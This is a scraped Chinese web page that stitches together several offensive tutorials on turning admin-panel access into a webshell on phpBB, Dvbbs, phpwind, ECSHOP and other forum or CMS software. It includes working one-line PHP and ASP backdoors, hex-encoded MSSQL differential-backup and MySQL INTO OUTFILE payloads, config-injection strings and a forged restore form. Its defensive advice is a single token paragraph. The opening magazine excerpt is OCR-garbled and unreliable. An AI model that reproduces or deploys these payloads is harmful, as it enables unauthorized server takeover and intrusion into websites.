PHP的后门得到Webshell。可是，最新版本的PHPBB
--《黑客×档案》2007年第10期
黑客×档案
PHP的后门得到Webshell。可是，最新版本的PHPBB后台已经不允许添加上传类型了。如图5。图5可以利用的基本上都限制了。经测试发现部分空间可以添加inc扩展名，然后前台发帖上传扩展为inc的PHP后门程序也可以成功解释执行。不过这个方法局限性太大，但有部分论坛确实是可以成功的!’添加jnc扩展名的操作也比较简单。在后台找到“扩展名”一“扩展名控制”，然后在“扩展名。里填入inc，图6然后在前台发帖或编辑帖子来上传附件，上传扩展名为inc的PHP后门.再在预览里找到webshe儿的访问路径即可得到Webshell(在预览里直接点击附件名即可打开Webshell)。当然了，要是空间支持其它脚本，大可以添加上传jsp后门哦。如果要添加asp后门也是有办法的，虽然。禁止扩展名”里禁止了上传asp。但是我们可以先把禁止了的asp删除掉，然后再参照添加inc扩展名的方法添加即可。除了这个方法可以拿到websheU外，还有一个稍为复杂点的方法。这个方法同样局限性也很大，因为要求论坛要使用具有r00t权限的MySQL用户名和密码才可以成功!具体操作步骤如下(以本机架设的测试论坛举例说明)：l、先使用管理员用户名和密码登录后台。2、在浏览器中访问http：／／127.0.0.L／adn2in／admindisallow.php?setmodules：00(会看到空白页面)-3、在后台找到“总体管理”“备份数据库”，执行备份数据库操作(备份完毕会自动弹出下载窗口，下载保存本地即可'-4、复制备份文件另存一份(用于导出webshell后恢复论坛)，使用记事本打开下载回来的数据库文件phpbb―db一’backup.sql，查找关键字INSERTINTOphpbb―categories(cat―id。cattitle，cat―order)VALUES，一共有两处!INSERTINT0phpbb―categorlea(cat―id。c-t―titie，cst―order)VALUES后面的内容会根据情况而有所不同。比如我这里是INSERTINTOphpbb―categories(cat―id，cat一‘title.cat―order’)VAL.UES(’1’。’嗣试分区’.’10’)lI5、把INSERTINTOphpbb―categories(cat―jd，cat―title，cat～order)VALUES(’1’.’测试分区’，’10’)l改为INSERTINTOphpbb―categorits(c?t―id，CSt―titie，cat―ordcr)VAL.UES(’1’。‘&?phpevsl(S―POST【cmd】)I?&’.’10‘)ISELECTcat―title-NTOOUTFll。E’D.-＼＼Progr-mFiles{lVertrigoSerrt{WWW{Ishell.php‘FROMphpbb―cctagorleawhercat―idall，保存即可。简单的解释一下，“D：＼＼ProgramFiles＼＼Vm。trigoServ＼＼WWW＼＼sheH.php”是导出webshe【J的绝对路径(即为我本机的论坛安装目录)，这个方法是利用数据库操作实现的，先往一个已存在的表段里插人PHP一句话后门，然后再使用“SELEcT表段名INToOUTFILE”导出到论坛目录，从而得到webshell(要注意的是里面的绝对路径一定要把＼替换成＼＼，否则不可以成功，而?nix类系统使用／连结路径)，6、在后台找到“总体管理”。恢复数据库”。浏览选中刚才改好的备份文件phpbb。dbbackup.sql，然后点击“开始恢复”，恢复完毕后一般会看到一些错误，不必理会，过会儿会恢复就是了；7、使用一句话客户端连接http：／／127.O.0，l／shell.php，得到简易的Webshell，如图7l8.参照第6步，使用未修改过的phpbb―db―backup.sql恢复论坛数据(要是不恢复，论坛会出错)!至此就顺利得到了Webshell，就是操作上有点繁琐。接下来怎么玩就是你自己的事了，嘿嘿……喜欢的话就上传大马什么的，然后提权……由于我本机架设的PHP环境
阅读此文(图):如何从后台得到webshell
如何从后台得到webshell？
　　动网上传漏洞，相信大家拿下不少肉鸡吧。可以说是动网让upfile.asp上传文件过滤不严的漏洞昭然天下，现在这种漏洞已经基本比较难见到了，不排除一些小网站仍然存在此漏洞。在拿站过程中，我们经常费了九牛两虎之力拿到管理员帐号和密码，并顺利进入了后台，虽然此时与拿到网站webshell还有一步之遥，但还是有许多新手因想不出合适的方法而被拒之门外。
　　动网上传漏洞，相信大家拿下不少肉鸡吧。可以说是动网让upfile.asp上传文件过滤不严的漏洞昭然天下，现在这种漏洞已经基本比较难见到了，不排除一些小网站仍然存在此漏洞。在拿站过程中，我们经常费了九牛两虎之力拿到管理员帐号和密码，并顺利进入了后台，虽然此时与拿到网站webshell还有一步之遥，但还是有许多新手因想不出合适的方法而被拒之门外。因此，我们把常用的从后台得到webshell的方法进行了总结和归纳，大体情况有以下十大方面。
　　注意：如何进入后台，不是本文讨论范围，其具体方法就不说了，靠大家去自己发挥。此文参考了前人的多方面的资料和信息，在此一并表示感谢。
　　一、直接上传获得webshell
　　这种对php和jsp的一些程序比较常见，MolyX BOARD就是其中一例，直接在心情图标管理上传.php类型，虽然没有提示，其实已经成功了，上传的文件url应该是http://forums/images/smiles/下，前一阵子的联众游戏站和网易的jsp系统漏洞就可以直接上传。文件名是原来的文件名，bo-blog后台可以可以直接上传.，上传的文件路径有提示。以及一年前十分流行的upfile.asp漏洞(动网5.0和6.0、早期的许多整站系统)，因过滤上传文件不严，导致用户可以直接上传webshell到网站任意可写目录中，从而拿到网站的管理员控制权限。
　　二、添加修改上传类型
　　现在很多的脚本程序上传模块不是只允许上传合法文件类型，而大多数的系统是允许添加上传类型，bbsxp后台可以添加asa　asP类型，ewebeditor的后台也可添加asa类型,通过修改后我们可以直接上传asa后缀的webshell了,还有一种情况是过滤了.asp，可以添加.aspasp的文件类型来上传获得webshell。php系统的后台，我们可以添加.php.g1f的上传类型，这是php的一个特性,最后的哪个只要不是已知的文件类型即可，php会将php.g1f作为.php来正常运行,从而也可成功拿到shell。LeadBbs3.14后台获得webshell方法是：在上传类型中增加asp ，注意，asp后面是有个空格的，然后在前台上传ASP马，当然也要在后面加个空格！
　　三、利用后台管理功能写入webshell
　　上传漏洞基本上补的也差不多了,所以我们进入后台后还可以通过修改相关文件来写入webshell。比较的典型的有dvbbs6.0，还有leadbbs2.88等，直接在后台修改配置文件，写入后缀是asp的文件。而LeadBbs3.14后台获得webshell另一方法是：添加一个新的友情链接，在网站名称处写上冰狐最小马即可,最小马前后要随便输入一些字符，http:\\网站\inc\IncHtm\BoardLink.asp就是我们想要的shell。
　　四、利用后台管理向配置文件写webshell
　　利用&&&&:&&//&等符号构造最小马写入程序的配置文件，joekoe论坛，某某同学录，沸腾展望新闻系统，COCOON Counter统计程序等等，还有很多php程序都可以，COCOON Counter统计程序举例，在管理邮箱处添上&:eval request(chr (35))//, 在配制文件中就是webmail=&\&:eval request(chr(35))//&，还有一种方法就是写上 &%＞＜%eval request(chr(35))%＞＜%'，这样就会形成前后对应，最小马也就运行了。＜%eval request(chr(35))%＞可以用lake2的eval发送端以及最新的2006 客户端来连，需要说明的是数据库插马时候要选前者。再如动易2005，到文章中心管理-顶部菜单设置-菜单其它特效，插入一句话马&%＞＜%execute request(&l&)%＞＜%'，保 存顶部栏目菜单参数设置成功后，我们就得到马地址http://网站/admin/rootclass_menu_config.asp。
　　五、利用后台数据库备份及恢复获得webshell
　　主要是利用后台对access数据库的&备份数据库&或&恢复数据库&功能，&备份的数据库路径&等变量没有过滤导致可以把任意文件后缀改 为asp，从而得到webshell，msssql版的程序就直接应用了access版的代码，导致sql版照样可以利用。还可以备份网站为其他后缀 如.txt文件，从而可以查看并获得网页源代码，并获得更多的程序信息增加获得webshell的机会。在实际运用中经常会碰到没有上传功能的时 候，但是有asp系统在运行，利用此方法来查看源代码来获得其数据库的位置，为数据库插马来创造机会，动网论坛就有一个ip地址的数据库，在后台的ip管理中可以插入最小马然后备份成.asp文件即可。在谈谈突破上传检测的方法，很多asp程序在即使改了后缀名后也会提示文件非法，通过在.asp文件头加上gif89a修改后缀为gif来骗过asp程序检测达到上传的目的，还有一种就是用记事本打开图片文件，随便粘贴一部分复制到asp木马文件头，修改gif后缀后上传也可以突破检测，然后备份为.asp文件，成功得到webshell。
　　六、利用数据库压缩功能
　　可以将数据的防下载失效从而使插入数据库的最小马成功运行，比较典型的就是loveyuki的L-BLOG，在友情添加的url出写上＜%eval request (chr(35))%＞, 提交后，在数据库操作中压缩数据库，可以成功压缩出.asp文件，用海洋的最小马的eval客户端连就得到一个webshell。
　　七、asp+mssql系统
　　这里需要提一点动网mssql版，但是可以直接本地提交来备份的。首先在发帖那上传一个写有asp代码的假图片，然后记住其上传路径。写一个本地提交的表单，代码如下：
　　＜form action=http://网站/bbs/admin_data.asp?action=RestoreData&act=Restore method=&post&＞
　　＜p＞已上传文件的位置：＜input name=&Dbpath& type=&text& size=&80&＞＜/p＞
　　＜p＞要复制到的位置：＜input name=&backpath& type=&text& size=&80&＞＜/p＞
　　＜p＞＜input type=&submit& value=&提交&＞＜/p＞ ＜/form＞
　　另存为.htm本地执行。把假图片上传路径填在&已上传文件的位置&那里，想要备份的WebShell的相对路径填写在&要复制到的位置&那里，提交就得到我们可爱的WebShell了，恢复代码和此类似，修改相关地方就可以了。没有遇到过后台执行mssql命令比较强大的asp程序后台，动网的数据库还原和备份是个摆设，不能执行sql命令备份webshell，只能执行一些简单的查询命令。可以利用mssql注入差异备份webshell，一般后台是显示了绝对路径，只要有了注入点基本上就可以差异备份成功。下面是差异备份的主要语句代码，利用动网7.0的注入漏洞可以用差异备份一个webshell，可以用利用上面提到的方法，将conn.asp文件备份成.txt文件而获得库名。
　　差异备份的主要代码：
　　;declare @a sysname,@s varchar(4000) select @a=db_name(),@s=0x626273 backup database @a to disk=@s--
　　;Drop table [heige];create table [dbo].[heige] ([cmd] [image])--
　　;insert into heige(cmd) values(0x3C6C2229253E)--
　　;declare @a sysname,@s varchar(4000) select @a=db_name(),@s=0x643A5CE617370 backup database @a to disk=@s WITH DIFFERENTIAL,FORMAT--
　　这段代码中，0x626273是要备份的库名bbs的十六进制，可以是其他名字比如bbs. 0x3C6C2229253E是＜%execute request(&l&)%＞的十六进制，是lp最小马；0x643A5CE617370是d:\web\1.asp的十六进制,也就是你要备份的webshell路径。当然也可以用比较常见备份方式来获得webshell，唯一的不足就是备份后的文件过大，如果备份数据库中有防下载的的数据表，或者有错误的asp代码，备份出来的webshell就不会成功运行，利用差异备份是成功率比较高的方法，并且极大的减少备份文件的大小。
　　八、php+mysql系统
　　后台需要有mysql数据查询功能,我们就可以利用它执行SELECT ... INTO OUTFILE查询输出php文件，因为所有的数据是存放在mysql里的，所以我们可以通过正常手段把我们的webshell代码插入mysql在利用SELECT ... INTO OUTFILE语句导出shell。在mysql操作里输入select 0x3C3F45F504F3B3F3E from mysql.user into outfile '路径& 就可以获得了一个＜?eval($_POST[a]);?＞的最小马' 0x3C3F45F504F3B3F3E 是我们＜?eval($_POST[a]);?＞的十六进制，这种方法对phpmyadmin比较普遍，先利用phpmyadmin的路径泄露漏洞，比较典型的 是http://url/phpmyadmin/libraries/select_lang.lib.php。
　　就可以暴出路径，php环境中比较容易暴出绝对路径：）。提一点的是遇到是mysql在win系统下路径应该这样写d:\\wwwroot\\a.php。下面的方法是比较常用的一个导出webshell的方法，也可以写个vbs添加系统管理员的脚本导出到启动文件夹，系统重起后就会添加一个管理员帐号
　　CREATE TABLE a(cmd text NOT NULL)
　　INSERT INTO a(cmd) VALUES('＜?fputs(fopen(&./a.php&,&w&),&＜?eval(\$_POST[a]);?＞&)?＞')
　　select cmd from a into outfile '路径/b.php'
　　DROP TABLE IF EXISTS a
　　访问b.php就会生成一个＜?eval($_POST[a]);?＞的最小马。
　　如果遇到可以执行php命令就简单多了,典型的代表是BO-BLOG,在后台的php命令框输入以下代码：
　　$sa = fopen(&./up/saiy.php&,&w&);
　　fwrite($sa,&＜?eval(\$_POST[a]);?&.&＞&);
　　fclose($sa);
　　就会在up目录下生成文件名为saiy.php内容为＜?eval($_POST[a]);?＞的最小php木马， 最后用lanker的客户端来连接。实际运用中要考虑到文件夹是否有写权限。或者输入这样的代码＜?fputs(fopen(&./a.php&,&w&),&＜?eval(\$_POST[a]);?＞&)?＞ 将会在当前目录生成一个a.php的最小马。
　　九、phpwind论坛从后台到webshell的三种方式
　　方式1 模板法
　　进入后台， 风格模版设置 ，在随便一行写代码，记住，这代码必须顶着左边行写，代码前面不可以有任何字符。
　　eval($a);
　　print ＜＜＜EOT
　　而后得到一个shell为http://网站/bbs/index.php。
　　方始2 脏话过滤法
　　进入安全管理 ◇ 不良词语过滤。新增不良词语写 a&]=&aa&;eval($_POST[&a&]);//
　　替换为那里可以随意写，而后得到一个shell地址为http://网站/bbs/data/bbscache/wordsfb.php。
　　方式3 用户等级管理
　　新建立会员组，头衔你可以随便写，但是千万不要写单双引号特殊符号，升级图片号写a&;eval($_POST[&a&]);// ，升级点数依然可以随意写。而后得到一个shell地址为http://网站/bbs/data/bbscache/level.php。
　　以上三种方式得到webshellr的密码是a,为lanker的一句话后门服务端。
　　十、也可以利用网站访问计数系统记录来获得webshell
　　最明显的就是某私服程序内的阿江计数程序，可以通过http://网站/stat.asp?style=textreferer= 代码内容&screenwidth=1024直接提交， 即可把代码内容直接插入到计数系统的数据库中，而此系统默认数据库为count#.asa，我们可以通过http://网站/count%23.asa访问得到webshell，由于阿江计数程序过滤了%和+，将最小马改成＜SCRIPT RUNAT=SERVER LANGUAGE=vbSCRIPT＞eval(Request(&1&))＜/SCRIPT＞替换代码内容处提交，然后用lake2的eval客户端来提交，值得一提的是如果进到计数后台，可以清理某时某刻的数据，一旦插入asp木马失败，可以清理数据库再次操作。
　　解决方案
　　由于本文涉及的代码版本很多，所以不可能提供一个完美的解决方案。有能力者可以针对本文提到的漏洞文件进行适当修补，若漏洞文件不影响系统使用也可删除此文件。大家如果不会修补，可以到相关官方网站下载最新补丁进行修复更新。同时也请大家能时刻关注各大安全网络发布的最新公告，若自己发现相关漏洞也可及时通知官方网站。
　　其实，从后台得到webshell的技巧应该还有很多的，关键是要看大家怎么灵活运用、触类旁通，希望本文的方法能起到抛砖引玉的作用。 各位加油吧，让我们将服务器控制到底！
阅读本文后您有什么感想? 已有
人给出评价!
10-01-2009-11-0409-11-0405-09-0804-10-0704-10-0704-10-0704-10-07
注：您的评论需要经过审核才会显示出来
没有查询到任何记录。
Copyright &
PC6下载().All Rights Reserved
备案编号:湘ICP备号网站后台不允许上传asp木马我该怎么拿webshell_百度知道
网站后台不允许上传asp木马我该怎么拿webshell
网站后台不允许上传asp文件 拿不到webshell
我有更好的答案
按默认排序
可以上传图片之类的文件吧
看看有数据库备份没
有就可以拿
上传图片木马，备份拿站，如果没有备份就抓包拿站。
扫漏洞或试试常用注入点!
其他类似问题
asp木马的相关知识
等待您来回答
下载知道APP
随时随地咨询
出门在外也不愁网站导航：
热门搜索：
您现在的位置： >
> 浏览信息
ECSHOP2.7.2后台拿WEBSHELL方法
时间: 14:55
来源: 作者:stuhack
一句话地址是：;x.sql
上面是我今天自己找到的方法，可能很多大牛早就发现这个方法了，下面这个方法更方便直接是我拿下后搜索到的2.7.0的后台拿WEBSHELL方法，2.7.2是通用的
漏洞利用文件 http://target/includes/fckeditor/editor/filemanager/connectors/test.html
我们看下 includes/fckeditor/editor/filemanager/connectors/php/config.php&
漏洞代码如下
$Config[\'AllowedExtensions\'][\'File\']& & = array(\'7z\', \'aiff\', \'asf\', \'avi\', \'bmp\', \'csv\', \'doc\', \'fla\', \'flv\', \'gif\', \'gz\', \'gzip\', \'jpeg\', \'jpg\', \'mid\', \'mov\', \'mp3\', \'mp4\', \'mpc\', \'mpeg\', \'mpg\', \'ods\', \'odt\', \'pdf\', \'png\', \'ppt\', \'pxd\', \'qt\', \'ram\', \'rar\', \'rm\', \'rmi\', \'rmvb\', \'rtf\', \'sdc\', \'sitd\', \'swf\', \'sxc\', \'sxw\', \'tar\', \'tgz\', \'tif\', \'tiff\', \'txt\', \'vsd\', \'wav\', \'wma\', \'wmv\', \'xls\', \'xml\', \'zip\') ;
$Config[\'FileTypesPath\'][\'File\']& && &&&= $Config[\'UserFilesPath\'] . \'File/\' ;
$Config[\'FileTypesAbsolutePath\'][\'File\']= ($Config[\'UserFilesAbsolutePath\'] == \'\') ? \'\' : $Config[\'UserFilesAbsolutePath\'].\'File/\' ;
$Config[\'QuickUploadPath\'][\'File\']& && &= $Config[\'UserFilesPath\'] . \'File/\' ;
$Config[\'QuickUploadAbsolutePath\'][\'File\']= $Config[\'UserFilesAbsolutePath\'] . \'File/\' ;
//$Config[\'AllowedExtensions\'][\'Image\']& &= array(\'bmp\',\'gif\',\'jpeg\',\'jpg\',\'png\') ;
$Config[\'AllowedExtensions\'][\'Image\']& & = array(\'jpg\',\'gif\',\'jpeg\',\'png\') ;
$Config[\'DeniedExtensions\'][\'Image\']& & = array() ;
$Config[\'FileTypesPath\'][\'Image\']& && & = $Config[\'UserFilesPath\'] . \'Image/\' ;
$Config[\'FileTypesAbsolutePath\'][\'Image\']= ($Config[\'UserFilesAbsolutePath\'] == \'\') ? \'\' : $Config[\'UserFilesAbsolutePath\'].\'Image/\' ;
$Config[\'QuickUploadPath\'][\'Image\']& &&&= $Config[\'UserFilesPath\'] . \'Image/\' ;
$Config[\'QuickUploadAbsolutePath\'][\'Image\']= $Config[\'UserFilesAbsolutePath\'] . \'Image/\' ;
//$Config[\'AllowedExtensions\'][\'Flash\']& &= array(\'swf\',\'flv\') ;
$Config[\'AllowedExtensions\'][\'Flash\']& & = array(\'swf\',\'fla\') ;
$Config[\'DeniedExtensions\'][\'Flash\']& & = array() ;
$Config[\'FileTypesPath\'][\'Flash\']& && & = $Config[\'UserFilesPath\'] . \'Flash/\' ;
$Config[\'FileTypesAbsolutePath\'][\'Flash\']= ($Config[\'UserFilesAbsolutePath\'] == \'\') ? \'\' : $Config[\'UserFilesAbsolutePath\'].\'Flash/\' ;
$Config[\'QuickUploadPath\'][\'Flash\']& &&&= $Config[\'UserFilesPath\'] . \'Flash/\' ;
$Config[\'QuickUploadAbsolutePath\'][\'Flash\']= $Config[\'UserFilesAbsolutePath\'] . \'Flash/\' ;
//$Config[\'AllowedExtensions\'][\'Media\']& &= array(\'aiff\', \'asf\', \'avi\', \'bmp\', \'fla\', \'flv\', \'gif\', \'jpeg\', \'jpg\', \'mid\', \'mov\', \'mp3\', \'mp4\', \'mpc\', \'mpeg\', \'mpg\', \'png\', \'qt\', \'ram\', \'rm\', \'rmi\', \'rmvb\', \'swf\', \'tif\', \'tiff\', \'wav\', \'wma\', \'wmv\') ;
$Config[\'AllowedExtensions\'][\'Media\']& &= array() ;
$Config[\'DeniedExtensions\'][\'Media\']& & = array() ;
$Config[\'FileTypesPath\'][\'Media\']& && & = $Config[\'UserFilesPath\'] . \'Media/\' ;
$Config[\'FileTypesAbsolutePath\'][\'Media\']= ($Config[\'UserFilesAbsolutePath\'] == \'\') ? \'\' : $Config[\'UserFilesAbsolutePath\'].\'Media/\' ;
$Config[\'QuickUploadPath\'][\'Media\']& &&&= $Config[\'UserFilesPath\'] . \'Media/\' ;
$Config[\'QuickUploadAbsolutePath\'][\'Media\']= $Config[\'UserFilesAbsolutePath\'] . \'Media/\' ;
本文标题：
本文地址：
免责声明：本文仅代表作者个人观点，与本站无关。其原创性以及文中陈述文字和内容未经本站证实，对本文以及其中全部或者部分内容、文字的真实性、完整性、及时性本站不作任何保证或承诺，请读者仅作参考，并请自行核实相关内容。